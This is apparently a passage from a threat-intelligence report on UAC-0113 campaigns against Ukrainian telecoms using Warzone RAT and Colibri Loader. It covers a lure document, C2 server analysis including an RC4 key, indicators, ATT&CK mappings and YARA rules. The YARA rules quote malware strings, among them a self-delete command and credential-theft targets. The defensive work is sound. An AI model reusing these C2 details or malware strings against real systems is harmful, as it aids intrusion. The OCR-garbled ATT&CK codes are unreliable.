Прошу надати компенсацію вартості житлово-комунальних послуг, твердого палива та скрапленого газу (необхідне нідкреслити) у розмірі додаткової 50відсоткової знижки в межах норм, передбачених чинним законодавством.

Грошову компенсацію прошу перерахувати на поточний рахунок, відкритий у банківській установі

(назва банийської установи, номер рахунку, котіх рахунку додосться)

Даю згоду на обробку персональних даних відповідно до Закону України «Про захист персональних даних».

«\_\_\_\_» \_\_\_\_\_ року

(minmec)

Figure 23: Screenshot of the contents of the 3\_3AЯBA-на-отримання-компенсації-додаткової-знижки-сімям-загиблих2.doc file (Source: Recorded Future)

### Port 8291

Analysis of the 2 IP addresses revealed that both have port 8291 open and return a "MikroTik WinBox" banner. MikroTik Winbox is an application to aid in the administering of MikroTik Figure 27: Decrypted bytes returned from 94[.]158[.]156[.]4 on port 443 (Source: Recorded Future) RouterOS devices4. Sandworm has historically exploited MikroTik routers as part of a wide-scale botnet known as VPNFilter and Cyclops Blink. VPNFilter, which was initially identified in June 2018, and Cyclops Blink, which was discovered in February 2022, affected MikroTik routers as well as a wide range of routing devices produced by other manufacturers.

MikroTik Winbox:	MikroTik Winbox:
index:	index:
advtool.dll: 6.49.6	advtool.dll: 6.46.8
dhcp.dll: 6.49.6	dhcp.dll: 6.46.8
hotspot.dll: 6.49.6	hotspot.dll: 6.46.8
mpls.dll: 6.49.6	mpls.dll: 6.46.8
pim.dll: 6.49.6	ppp.dll: 6.46.8
ppp.dll: 6.49.6	roteros.dll: 6.46.8
roteros.dll: 6.49.6	roting4.dll: 6.46.8
roting4.dll: 6.49.6	secure.dll: 6.46.8
secure.dll: 6.49.6	system.dll: 6.46.8
system.dll: 6.49.6	wlan6.dll: 6.46.8
wlan6.dll: 6.49.6	list:
list:	advtool.jg: 6.46.8
advtool.jg: 6.49.6	dhcp.jg: 6.46.8
dhcp.jg: 6.49.6	hotspot.jg: 6.46.8
hotspot.jg: 6.49.6	icons.png: 6.46.8
icons.png: 6.49.6	mpls.jg: 6.46.8
icons24.png:	ppp.jg: 6.46.8
icons32.png:	roteros.jg: 6.46.8
mpls.jg: 6.49.6	roting4.jg: 6.46.8
pim.jg: 6.49.6	secure.jg: 6.46.8
ppp.jg: 6.49.6	wlan6.jg: 6.46.8
roteros.jg: 6.49.6	
roting4.jg: 6.49.6	
secure.jg: 6.49.6	
wlan6.jg: 6.49.6	

Figures 24 and 25: "MikroTik Winbox" banners on port 8291. Left: 94[.]158[.]156[.]4; Right: 91[.]200[.]114[.]141 (Source: URLScan) (Source: Shodan and Shodan)

### Port 443

IP address 94[.]158[.]156[.]4, linked to the darkfox[.]ddns[.] net, also had port 443 open. Analysis of port 443 returns 12 bytes of data, which is consistent with known Warzone RAT server responses.

2f 6e e6	35 2	3f	9f	f4	62	f4	6b	38	05	
----------	------	----	----	----	----	----	----	----	----	--

Figure 26: Bytes returned from 94[.]158[.]156[.]4 on port 443 (Source: Recorded Future)

Further analysis of the Warzone RAT sample jfilyg7.exe revealed that it uses a custom implementation of the RC4 cipher with a decryption key of "nevergonnagiveyouup" for C2 communications. Inskit Group was able to decrypt the bytes returned by the Warzone Rat C2 hosted on IP address 94[.]158[.]156[.]4 via the custom RC4 cipher with the key shown

4 https://whatportis.com/ports/8291 winbox-default-on-a-mikrotikrouteros-for-a-windows-application-used-to-administer-mikrotik-routeros in Figure 27. The decrypted bytes conform to the expected packet structure previously reported by Checkpoint.

29	bb	66	e4	00	00	00	00	00	00	00	00	
----	----	----	----	----	----	----	----	----	----	----	----	--

### **Mitigations**

The delivery of Warzone RAT and Colibri Loader, along with their C2 communication, is best detected using intrusion detection systems (IDS) like Snort. Users should conduct the following measures to detect and mitigate activity associated with these pieces of malware:

- Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on — and upon review, consider blocking connection attempts to and from — the external IP addresses and domains listed in the appendix.
- Recorded Future Hunting Packages can be used to hunt for the presence of malicious files associated with Warzone RAT and Colibri Loader. YARA rules for each malware family can be found in Appendix D.
- Recorded Future proactively detects malicious server configurations and provides means to block them in the Command and Control Security Control Feed. The Command and Control Feed includes tools used by UAC-0113 and other Russian state-sponsored threat activity groups. Recorded Future clients should alert on and block these C2 servers to allow for detection and remediation of active intrusions.
- Recorded Future Threat Intelligence (TI), Third-Party Intelligence, and SecOps Intelligence modules users can monitor real-time output from Network Traffic Analysis analytics to identify suspected targeted intrusion activity involving your organization or key vendors and partners.
- Monitor for domain abuse, such as typosquat domains spoofing your organization, through the Recorded Future Brand Intelligence (BI) module. The SecurityTrails extension is available to any customer that has a subscription to the Threat Intelligence or Brand Intelligence modules. The LogoType source and alerting is exclusive to the BI module, though the TI module does have access to the data via the Advanced Query Builder.

### Outlook

Insikt Group continues to track UAC-0113 infrastructure observing changes in TTPs as its operations diversify across Ukraine, this time with a significant focus on telecommunication providers. There has been a notable continuation of the use of publically available commodity malware showing UAC-0113 adapting its operations with a willingness to use a variety of tooling.

Readers should detect, block, and hunt for the presence of the indicators referenced in connection with UAC-0113 reporting via the Recorded Future Platform in your network monitoring, intrusion detection systems, firewalls, and any associated perimeter security appliances.

### Appendix A — Indicators

### IP Addresses:

103[.]150[.]187[.]121 103[.]27[.]202[.]127 217[.]77[.]221[.]199 31[.]7[.]58[.]82 65[.]108[.]213[.]210 91[.]200[.]114[.]141 94[.]153[.]171[.]42 94[.]158[.]156[.]4

### Domains:

account[.]adfs[.]kyivstar[.]online adfs[.]kyivstar[.]online darkett[.]ddns[.]net darkfox[.]ddns[.]net darksea[.]ddns[.]net datagroup[.]ddns[.]net ett[.]ddns[.]net ett[.]hopto[.]org kievstar[.]online kyiv-star[.]ddns[.]net kyivstar[.]online login[.]adfs[.]kyivstar[.]online login[.]kyivstar[.]online outlook[.]adfs[.]kyivstar[.]online star-cz[.]ddns[.]net star-link[.]ddns[.]net www[.]kyivstar[.]online yugyuvyugguitgyuigtfyutdtoghghbbgyv[.]cx zpltcmgodhvvedxtfcygvbgjkvgvcguygytfigj[.]cc

### Files and Hashes:

3_3АЯВА-на-отримання-компенсації.iso	1c6643b479614340097a8071c9f880688af5a82db7b6e755beafe7301eea1abf			
Documents:ApplicationData	44673a8ff098f12910c441c5697d27889dd1c5fd4aef875d4cf381227eac3a2b			
Get-Variable.exe	aa2d97b5be06be67ec04774ad681da6113ee2b4929c0539929bbac19926682c8			
MSCommonDriver.exe	44673a8ff098f12910c441c5697d27889dd1c5fd4aef875d4cf381227eac3a2b			
conhost.exe	aa2d97b5be06be67ec04774ad681da6113ee2b4929c0539929bbac19926682c8			
jfilyg7.exe	722c36abd195cce70ee25b48d6e64873262e046eae7433976120a1496f01487d			
programs.bat	98c9e85c013d0404e2c595958a77f4d1cafeb122efde9efc3a83a59b1233b58f			
programs.bat:start	ed8894af2c305e46c5fc8cdefa21e4535a601aa58d06d1beed17bb2c9e51b271			
ЗАЯВА-на-отримання-компенсації.Ink	bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7			
ЗАЯВА/З_ЗАЯВА-на-отримання-компенсації-додаткової- знижки-сімям-загиблих2.doc	a5a20063c8699c66f5292ed1da7c860360baf6cf2a52f33c2c0b8873a995397c			



### Appendix B — Maltego Chart of Infrastructure and Files

### Appendix C — Mitre ATT&CK Techniques

Tactic: Technique	ATT&CK Code
Command and Control: Dynamic Resolution	8651T
Command and Control: Non-Application Layer Protocol	5901T
Command and Control: Web Service	2011T
Defense Evasion: Hide Artifacts: Hidden Files and Directories	100.4651T
Defense Evasion: Hide Artifacts: Hidden Window	300.4651T
Defense Evasion: Hide Artifacts: NTFS File Attributes	400.4651T
Defense Evasion: Obfuscated Files or Information: HTML Smuggling	600.7201T
Defense Evasion: Process Injection: Process Hollowing	210.5501T
Execution: Command and Scripting Interpreter: PowerShell	100.9501T
Execution: Command Scripting Interpreter: Windows Command Shell	300.9501T
Execution: User Execution	4021T
Execution: Windows Management Instrumentation	7401T
Persistence: Hijack Execution Flow: Path Interception by Search Order Hijacking	800.4751T
Persistence: Registry Run Keys / Startup Folder	100.7451T
Persistence: Scheduled Task	500.3501T
Resource Development: Acquire Infrastructure	3851T

### Appendix D — YARA Rules

### MAL\_Colibri\_Loader.yar

```
import "pe"
rule MAL Colibri Loader {
   meta:
        author = "Insikt Group, Recorded Future"
        date = 2022-08-17''
        description = "Detects Colibri Loader based on its data decryption routine used in files
dropped to disk"
        version = "1.0"
        hash = "722c36abd195cce70ee25b48d6e64873262e046eae7433976120a1496f01487d"
        hash = aa2d97b5be06be67ec04774ad681da6113ee2b4929c0539929bbac19926682c8''
      strings:
        // 00fc3020 55
                                    PUSH
                                                EBP
        // 00fc3021 8b ec
                                    MOV
                                                EBP, ESP
        // 00fc3023 8b 55 0c
                                    MOV
                                                EDX, dword ptr [EBP + param 2]
        // 00fc3026 33 c0
                                    XOR
                                                EAX,EAX
        // 00fc3028 85 d2
                                    TEST
                                               EDX,EDX
        // 00fc302a 74 1a
                                    JΖ
                                               LAB 00fc3046
        // 00fc302c 56
                                    PUSH
                                                ESI
        // 00fc302d 8b 75 10
                                    MOV
                                               ESI, dword ptr [EBP + param_3]
        // 00fc3030 57
                                    PUSH
                                               EDT
        // 00fc3031 8b 7d 08
                                    MOV
                                               EDI, dword ptr [EBP + param 1]
        11
                                LAB 00fc3034
                                                                                  XREF[1]:
00fc3042(j)
        // 00fc3034 8b c8
                                    MOV
                                               ECX,EAX
        // 00fc3036 83 e1 03
                                    AND
                                               ECX,0x3
        // 00fc3039 8a 0c 31
                                               CL, byte ptr [ECX + ESI*0x1]
                                    MOV
        // 00fc303c 30 0c 38
                                    XOR
                                               byte ptr [EAX + EDI*0x1],CL
        // 00fc303f 40
                                    INC
                                                EAX
        // 00fc3040 3b c2
                                    CMP
                                               EAX,EDX
        // 00fc3042 72 f0
                                    JC
                                               LAB 00fc3034
        // 00fc3044 5f
                                    POP
                                               EDT
        // 00fc3045 5e
                                    POP
                                                ESI
        11
                                LAB 00fc3046
                                                                                 XREF[1]:
00fc302a(j)
        // 00fc3046 33 c0
                                    XOR
                                                EAX, EAX
        // 00fc3048 5d
                                     POP
                                                EBP
        // 00fc3049 c3
                                    RET
             $decrypt data = { 55 8b ec 8b 5? ?? 33 c0 85 d2 74 ?? 56 8b 7? ?? 57 8b 7? ?? 8b c8 83
e1 03 8a 0c 31 30 0c 38 40 3b c2 72 ?? 5f 5e 33 c0 5d c3 }
      condition:
            uint16(0) == 0x5a4d
             and $decrypt data
             and pe.imports("kernel32.dll", "GetModuleFileNameA")
```

### MAL\_WarzoneRAT.yar

```
import "pe"
rule MAL WarzoneRAT
{
   meta:
       author = "Insikt Group, Recorded Future"
       date = 2022-08-22''
       description = "Detects variants of WarzoneRAT"
       version = "1.0"
        hash = "44673a8ff098f12910c441c5697d27889dd1c5fd4aef875d4cf381227eac3a2b"
    strings:
        $s1 = "Ave_Maria" nocase ascii wide
        $s2 = "127.0.0.2" fullword ascii
        $s3 = "RDPClip" wide fullword
        $s4 = "MaxConnectionsPer1 OServer" fullword ascii
        $s5 = "MaxConnectionsPerServer" fullword ascii
        $x1 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword
wide
        $x2 = "/n:%temp%\\ellocnak.xml" fullword wide
        $x3 = "Hey I'm Admin" fullword wide
        $x4 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " fullword ascii
        $x5 = "XXXXXX" fullword ascii
        $x6 = ``%02d-%02d-%02d_%02d.%02d.%02d' fullword wide
        $x7 = "POP3 Password" fullword wide
        $x8 = "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" fullword wide
        $x9 = "\\logins.json" fullword wide
        $m1 = "C:\\Users\\Vitali Kremez\\Documents\\MidgetPorn\\workspace\\MsgBox.exe"
fullword wide
        $m2 = "C:\\Users\\louis\\Documents\\workspace\\MortyCrypter\\MsgBox.exe" fullword
wide
    condition:
       uint16(0) == 0x5a4d
       and for any i in (0..pe.number of sections): (pe.sections[i].name contains "BSS" or
pe.sections[i].name contains "bss")
       and 4 of ($s*)
        and 1 of ($m*)
        and 3 of ($x*)
}
```

Data sources for this report include the Recorded Future® Platform, SecurityTrails, DomainTools, PolySwarm, Farsight, Shodan, BinaryEdge, Censys, Hatching Triage, and other open-source tools and techniques.

### About Insikt Group®

Insikt Group is Recorded Future's threat research division, comprising analysts and security researchers with deep government, law enforcement, military, and intelligence agency experience. Their mission is to produce intelligence on a range of cyber and geopolitical threats that reduces risk for clients, enables tangible outcomes, and prevents business disruption. Coverage areas include research on state-sponsored threat groups; financially-motivated threat actors on the darknet and criminal underground; newly emerging malware and attacker infrastructure; strategic geopolitics; and influence operations.

### About Recorded Future®

Recorded Future is the world's largest intelligence company. Recorded Future's cloud-based Intelligence Platform provides the most complete coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics with human analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around the world, Recorded Future works with more than 1,400 businesses and government organizations across more than 60 countries.

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